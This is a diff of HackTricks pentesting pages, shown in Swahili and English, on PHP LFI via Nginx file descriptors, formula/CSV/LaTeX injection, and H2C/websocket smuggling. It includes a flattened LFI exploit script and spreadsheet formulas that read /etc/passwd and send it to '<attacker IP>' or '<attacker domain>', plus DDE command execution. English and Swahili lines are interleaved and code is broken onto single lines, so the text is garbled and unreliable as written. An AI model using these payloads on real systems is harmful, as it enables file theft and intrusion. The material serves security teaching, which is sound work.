||||
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" jaribu: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Bendera zimeandikwa kama hxp{} ikiwa "hxp" katika d: print("Kupata bendera! ") print(d)
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs kati ya 10 - 45 katika mzunguko. Kwa sababu faili na sockets zinaendelea kufungwa - ni kawaida sana kwa mwili wa ombi FD kufunguka ndani ya anuwai hii kwa fd katika range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
|
||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): kwa nginx\_pid katika nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
ikiwa **name** == "**main**": print('\[DEBUG] Kuunda kikao cha maombi') requests\_session = create\_requests\_session() print('\[DEBUG] Kupata Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Kuanzisha kutuma payload') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Kuanzisha wasomaji wa fd') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
```
|
||||
```
|
||||
|
||||
## Labs
|
||||
## Maabara
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||
|
||||
## References
|
||||
## Marejeo
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
||||
|
||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
||||
|
||||
You can check their website and try their engine for **free** at:
|
||||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
|||
|
|
@ -1,28 +1,20 @@
|
|||
# Formula/CSV/Doc/LaTeX/GhostScript Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Formula Injection
|
||||
|
||||
### Info
|
||||
|
|
@ -30,7 +22,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
Ikiwa **ingizo** lako lina **onyeshwa** ndani ya **faili za CSV** (au faili nyingine yoyote ambayo huenda itafunguliwa na **Excel**), huenda ukawa na uwezo wa kuweka **formulas** za Excel ambazo zita **tekelezwa** wakati mtumiaji **anapofungua faili** au wakati mtumiaji **anapobofya kiungo fulani** ndani ya karatasi ya excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Siku hizi **Excel itamwonya** (mara kadhaa) **mtumiaji wakati kitu kinapol加载 kutoka nje ya Excel** ili kumzuia kufanya vitendo vya uhalifu. Hivyo basi, juhudi maalum za Uhandisi wa Kijamii lazima zifanywe kwa payload ya mwisho.
|
||||
Siku hizi **Excel itamwambia** (mara kadhaa) **mtumiaji wakati kitu kinapoload kutoka nje ya Excel** ili kumzuia kufanya vitendo vya uhalifu. Kwa hivyo, juhudi maalum za Uhandisi wa Kijamii zinapaswa kutumika kwa payload ya mwisho.
|
||||
{% endhint %}
|
||||
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
|
@ -44,14 +36,14 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### Hyperlink
|
||||
|
||||
**Mfano ufuatao ni muhimu sana kutoa maudhui kutoka kwa karatasi ya mwisho ya excel na kufanya maombi kwa maeneo yasiyo na mpangilio. Lakini inahitaji mtumiaji kubonyeza kiungo hicho (na kukubali viashiria vya onyo).**
|
||||
**Mfano ufuatao ni muhimu sana kutoa maudhui kutoka kwa karatasi ya mwisho ya excel na kufanya maombi kwa maeneo yasiyo na mpangilio. Lakini inahitaji mtumiaji kubonyeza kiungo hicho (na kukubali arifa za onyo).**
|
||||
|
||||
Mfano ufuatao umetolewa kutoka [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unavyotumiwa kupitia shambulio la CSV injection. Nia kuu ya mshambuliaji ni kuathiri mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Njia hii inahusisha mshambuliaji kuingiza mzigo mbaya katika programu, hasa kwa kuingiza fomula hatari katika maeneo yaliyokusudiwa kwa maelezo ya wanafunzi. Shambulio linaendelea kama ifuatavyo:
|
||||
|
||||
1. **Kuanzisha Mzigo Mbaya:**
|
||||
* Mshambuliaji anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumiwa mara nyingi katika karatasi za kazi (mfano, `=HYPERLINK("<malicious_link>","Click here")`).
|
||||
1. **Kuingiza Mzigo Mbaya:**
|
||||
* Mshambuliaji anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumika mara nyingi katika karatasi za kazi (mfano, `=HYPERLINK("<malicious_link>","Click here")`).
|
||||
* Fomula hii imeundwa kuunda kiungo, lakini inaelekeza kwenye seva mbaya inayodhibitiwa na mshambuliaji.
|
||||
2. **Kusafirisha Data Zilizovunjwa:**
|
||||
* Walimu, wasiojua kuhusu uvunjaji, wanatumia kazi ya programu kusafirisha data hiyo kwenye faili la CSV.
|
||||
|
|
@ -60,7 +52,7 @@ Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi una
|
|||
* Mwalimu anabonyeza kiungo hicho, akiamini ni sehemu halali ya maelezo ya mwanafunzi.
|
||||
* Baada ya kubonyeza, data nyeti (inaweza kujumuisha maelezo kutoka kwenye karatasi ya kazi au kompyuta ya mwalimu) inatumwa kwenye seva ya mshambuliaji.
|
||||
4. **Kurekodi Data:**
|
||||
* Seva ya mshambuliaji inapata na kurekodi data nyeti iliyotumwa kutoka kwenye kompyuta ya mwalimu.
|
||||
* Seva ya mshambuliaji inapata na kurekodi data nyeti iliyotumwa kutoka kwa kompyuta ya mwalimu.
|
||||
* Mshambuliaji anaweza kisha kutumia data hii kwa madhumuni mbalimbali mabaya, akiongeza kuathiri faragha na usalama wa wanafunzi na taasisi.
|
||||
|
||||
### RCE
|
||||
|
|
@ -88,7 +80,7 @@ LibreOffice Calc inaweza kutumika kusoma faili za ndani na kutoa data. Hapa kuna
|
|||
* Kutolea zaidi ya mstari mmoja: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Kutolea DNS (kutuma data iliyosomwa kama maswali ya DNS kwa seva ya DNS inayodhibitiwa na mshambuliaji): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
|
||||
### Google Sheets kwa Kutolewa Data ya Nje ya Muktadha (OOB)
|
||||
### Google Sheets kwa Kutolewa Data ya Nje ya Mstari (OOB)
|
||||
|
||||
Google Sheets inatoa kazi ambazo zinaweza kutumika kwa kutolewa data ya OOB:
|
||||
|
||||
|
|
@ -97,7 +89,7 @@ Google Sheets inatoa kazi ambazo zinaweza kutumika kwa kutolewa data ya OOB:
|
|||
* **IMPORTFEED**: Inaleta RSS au ATOM feeds - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
* **IMPORTHTML**: Inaleta data kutoka kwenye meza za HTML au orodha - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
* **IMPORTRANGE**: Inaleta safu ya seli kutoka kwenye karatasi nyingine - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
* **IMAGE**: Inatia picha kwenye seli - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||
* **IMAGE**: Inaingiza picha kwenye seli - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||
|
||||
## LaTeX Injection
|
||||
|
||||
|
|
@ -105,7 +97,7 @@ Kawaida seva ambazo zitakutana kwenye mtandao ambazo **hubadilisha msimbo wa LaT
|
|||
Programu hii inatumia sifa 3 kuu ili (kuzuia) kuruhusu utekelezaji wa amri:
|
||||
|
||||
* **`--no-shell-escape`**: **Zuia** muundo wa `\write18{command}`, hata kama umewezeshwa katika faili ya texmf.cnf.
|
||||
* **`--shell-restricted`**: Kama `--shell-escape`, lakini **imepunguzika** kwa seti 'salama' ya **amri zilizopangwa** \*\* (Katika Ubuntu 16.04 orodha iko katika `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-restricted`**: Kama `--shell-escape`, lakini **imepunguzia** seti 'salama' ya **amri zilizopangwa** \*\* (Katika Ubuntu 16.04 orodha iko katika `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Ruhusu** muundo wa `\write18{command}`. Amri inaweza kuwa amri yoyote ya shell. Muundo huu kawaida haukubaliwi kwa sababu za usalama.
|
||||
|
||||
Hata hivyo, kuna njia nyingine za kutekeleza amri, hivyo ili kuepuka RCE ni muhimu sana kutumia `--shell-restricted`.
|
||||
|
|
@ -189,20 +181,15 @@ Kutoka [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
```
|
||||
## Ghostscript Injection
|
||||
|
||||
**Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
**Angalia** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
## References
|
||||
## Marejeo
|
||||
|
||||
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
||||
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
||||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -212,9 +199,9 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,21 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, au **http2 juu ya maandiko wazi**, inatofautiana na kawaida ya muunganisho wa HTTP wa muda mfupi kwa kuboresha **muunganisho wa HTTP wa kawaida kuwa wa kudumu**. Muunganisho huu ulioimarishwa unatumia itifaki ya http2 ya binary kwa mawasiliano ya kuendelea, tofauti na asili ya ombi moja ya HTTP ya maandiko wazi.
|
||||
|
||||
Kiini cha tatizo la smuggling kinatokea na matumizi ya **reverse proxy**. Kawaida, reverse proxy inashughulikia na kupeleka maombi ya HTTP kwa backend, ikirejesha jibu la backend baada ya hapo. Hata hivyo, wakati kichwa cha `Connection: Upgrade` kinapokuwepo katika ombi la HTTP (ambalo mara nyingi huonekana na muunganisho wa websocket), **proxy inashikilia muunganisho wa kudumu** kati ya mteja na seva, ikirahisisha ubadilishanaji wa kuendelea unaohitajika na itifaki fulani. Kwa muunganisho wa H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum:
|
||||
Kiini cha tatizo la smuggling kinatokea na matumizi ya **reverse proxy**. Kawaida, reverse proxy inashughulikia na kupeleka maombi ya HTTP kwa backend, ikirejesha jibu la backend baada ya hapo. Hata hivyo, wakati kichwa cha `Connection: Upgrade` kinapokuwepo katika ombi la HTTP (ambalo mara nyingi huonekana na muunganisho wa websocket), **proxy ya nyuma inahifadhi muunganisho wa kudumu** kati ya mteja na seva, ikiruhusu kubadilishana kwa kuendelea kunahitajika na itifaki fulani. Kwa muunganisho wa H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
|
|
@ -39,13 +31,13 @@ The vulnerability arises when, after upgrading a connection, the reverse proxy c
|
|||
|
||||
#### Vulnerable Proxies <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Uthibitisho wa udhaifu unategemea jinsi reverse proxy inavyoshughulikia vichwa vya `Upgrade` na wakati mwingine `Connection`. Proxies zifuatazo kwa asili hupeleka vichwa hivi wakati wa proxy-pass, hivyo basi kuweza kuwezesha H2C smuggling:
|
||||
The vulnerability is contingent on the reverse proxy's handling of `Upgrade` and sometimes `Connection` headers. The following proxies inherently forward these headers during proxy-pass, thereby inherently enabling H2C smuggling:
|
||||
|
||||
* HAProxy
|
||||
* Traefik
|
||||
* Nuster
|
||||
|
||||
Kwa upande mwingine, huduma hizi hazipeleki vichwa vyote viwili kwa asili wakati wa proxy-pass. Hata hivyo, zinaweza kuwekwa kwa njia isiyo salama, kuruhusu upelelezi usio na filters wa vichwa vya `Upgrade` na `Connection`:
|
||||
Conversely, these services do not inherently forward both headers during proxy-pass. However, they may be configured insecurely, allowing unfiltered forwarding of `Upgrade` and `Connection` headers:
|
||||
|
||||
* AWS ALB/CLB
|
||||
* NGINX
|
||||
|
|
@ -58,7 +50,7 @@ Kwa upande mwingine, huduma hizi hazipeleki vichwa vyote viwili kwa asili wakati
|
|||
|
||||
#### Exploitation <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Ni muhimu kutambua kwamba si seva zote kwa asili hupeleka vichwa vinavyohitajika kwa ajili ya kuboresha muunganisho wa H2C. Hivyo basi, seva kama AWS ALB/CLB, NGINX, na Apache Traffic Server, miongoni mwa zingine, kwa kawaida huzuia muunganisho wa H2C. Hata hivyo, inafaa kujaribu na toleo lisilo la kawaida la `Connection: Upgrade`, ambalo linatenga thamani ya `HTTP2-Settings` kutoka kwa kichwa cha `Connection`, kwani baadhi ya backends zinaweza kutokufuata viwango.
|
||||
It's crucial to note that not all servers inherently forward the headers required for a compliant H2C connection upgrade. As such, servers like AWS ALB/CLB, NGINX, and Apache Traffic Server, among others, naturally block H2C connections. Nonetheless, it's worth testing with the non-compliant `Connection: Upgrade` variant, which excludes the `HTTP2-Settings` value from the `Connection` header, as some backends may not conform to the standards.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Irrespective of the specific **path** designated in the `proxy_pass` URL (e.g., `http://backend:9999/socket.io`), the established connection defaults to `http://backend:9999`. This allows for interaction with any path within that internal endpoint, leveraging this technique. Consequently, the specification of a path in the `proxy_pass` URL does not restrict access.
|
||||
|
|
@ -70,36 +62,36 @@ For additional information on this vulnerability, particularly concerning NGINX,
|
|||
|
||||
## Websocket Smuggling
|
||||
|
||||
Websocket smuggling, tofauti na kuunda tunnel ya HTTP2 kwa endpoint inayopatikana kupitia proxy, inaweka tunnel ya Websocket ili kupita mipaka ya proxy na kuwezesha mawasiliano ya moja kwa moja na endpoint.
|
||||
Websocket smuggling, unlike creating a HTTP2 tunnel to an endpoint accessible via a proxy, establishes a Websocket tunnel to bypass potential proxy limitations and facilitate direct communication with the endpoint.
|
||||
|
||||
### Scenario 1
|
||||
|
||||
Katika hali hii, backend inayotoa API ya WebSocket ya umma pamoja na API ya REST isiyopatikana inashambuliwa na mteja mbaya anayejaribu kupata ufikiaji wa API ya ndani ya REST. Shambulio linafanyika kwa hatua kadhaa:
|
||||
In this scenario, a backend that offers a public WebSocket API alongside an inaccessible internal REST API is targeted by a malicious client seeking access to the internal REST API. The attack unfolds in several steps:
|
||||
|
||||
1. Mteja anaanza kwa kutuma ombi la Upgrade kwa reverse proxy na toleo sahihi la `Sec-WebSocket-Version` katika kichwa. Proxy, ikishindwa kuthibitisha kichwa cha `Sec-WebSocket-Version`, inadhani ombi la Upgrade ni halali na linaelekeza kwa backend.
|
||||
2. Backend inajibu kwa msimbo wa hali `426`, ikionyesha toleo lisilo sahihi la protokali katika kichwa cha `Sec-WebSocket-Version`. Reverse proxy, ikipuuza hali ya majibu ya backend, inadhani iko tayari kwa mawasiliano ya WebSocket na inapeleka majibu kwa mteja.
|
||||
3. Kwa hivyo, reverse proxy inadanganywa kuamini kuwa muunganisho wa WebSocket umeanzishwa kati ya mteja na backend, wakati kwa kweli, backend ilikuwa imekataa ombi la Upgrade. Licha ya hili, proxy inashikilia muunganisho wa TCP au TLS wazi kati ya mteja na backend, ikiruhusu mteja kupata ufikiaji usio na vizuizi wa API ya binafsi ya REST kupitia muunganisho huu.
|
||||
1. The client initiates by sending an Upgrade request to the reverse proxy with an incorrect `Sec-WebSocket-Version` protocol version in the header. The proxy, failing to validate the `Sec-WebSocket-Version` header, believes the Upgrade request to be valid and forwards it to the backend.
|
||||
2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client.
|
||||
3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection.
|
||||
|
||||
Proxies za reverse zilizohusika ni pamoja na Varnish, ambayo ilikataa kushughulikia tatizo, na toleo la proxy la Envoy 1.8.0 au zamani, huku toleo za baadaye zikibadilisha mekanismu ya kuboresha. Proxies nyingine pia zinaweza kuwa hatarini.
|
||||
Affected reverse proxies include Varnish, which declined to address the issue, and Envoy proxy version 1.8.0 or older, with later versions having altered the upgrade mechanism. Other proxies may also be susceptible.
|
||||
|
||||
|
||||
|
||||
### Scenario 2
|
||||
|
||||
Hali hii inahusisha backend yenye API ya WebSocket ya umma na API ya REST ya umma kwa ajili ya ukaguzi wa afya, pamoja na API ya REST isiyopatikana. Shambulio, ambalo ni gumu zaidi, linajumuisha hatua zifuatazo:
|
||||
This scenario involves a backend with both a public WebSocket API and a public REST API for health checking, along with an inaccessible internal REST API. The attack, more complex, involves the following steps:
|
||||
|
||||
1. Mteja anatumia ombi la POST kuanzisha API ya ukaguzi wa afya, akijumuisha kichwa cha ziada cha HTTP `Upgrade: websocket`. NGINX, ikihudumu kama reverse proxy, inachukulia hii kama ombi la Upgrade la kawaida kulingana tu na kichwa cha `Upgrade`, ikipuuza vipengele vingine vya ombi, na kupeleka kwa backend.
|
||||
2. Backend inatekeleza API ya ukaguzi wa afya, ikifikia rasilimali ya nje inayodhibitiwa na mshambuliaji ambayo inarudisha majibu ya HTTP yenye msimbo wa hali `101`. Majibu haya, yanapopokelewa na backend na kupelekwa kwa NGINX, yanadanganya proxy kuamini kuwa muunganisho wa WebSocket umeanzishwa kutokana na uthibitisho wake wa msimbo wa hali pekee.
|
||||
1. The client sends a POST request to trigger the health check API, including an additional HTTP header `Upgrade: websocket`. NGINX, serving as the reverse proxy, interprets this as a standard Upgrade request based solely on the `Upgrade` header, neglecting the request's other aspects, and forwards it to the backend.
|
||||
2. The backend executes the health check API, reaching out to an external resource controlled by the attacker that returns a HTTP response with status code `101`. This response, once received by the backend and forwarded to NGINX, deceives the proxy into thinking a WebSocket connection has been established due to its validation of only the status code.
|
||||
|
||||
|
||||
|
||||
> **Warning:** This technique's complexity increases as it requires the ability to interact with an endpoint capable of returning a status code 101.
|
||||
|
||||
Hatimaye, NGINX inadanganywa kuamini kuwa muunganisho wa WebSocket upo kati ya mteja na backend. Kwa kweli, hakuna muunganisho kama huo; API ya ukaguzi wa afya ilikuwa lengo. Hata hivyo, reverse proxy inashikilia muunganisho wazi, ikiruhusu mteja kupata ufikiaji wa API ya binafsi ya REST kupitia hiyo.
|
||||
Ultimately, NGINX is tricked into believing a WebSocket connection exists between the client and the backend. In reality, no such connection exists; the health check REST API was the target. Nevertheless, the reverse proxy maintains the connection open, enabling the client to access the private REST API through it.
|
||||
|
||||
|
||||
|
||||
Proxies nyingi za reverse zina hatari katika hali hii, lakini matumizi yake yanategemea uwepo wa udhaifu wa SSRF wa nje, ambao kwa kawaida unachukuliwa kama tatizo la chini.
|
||||
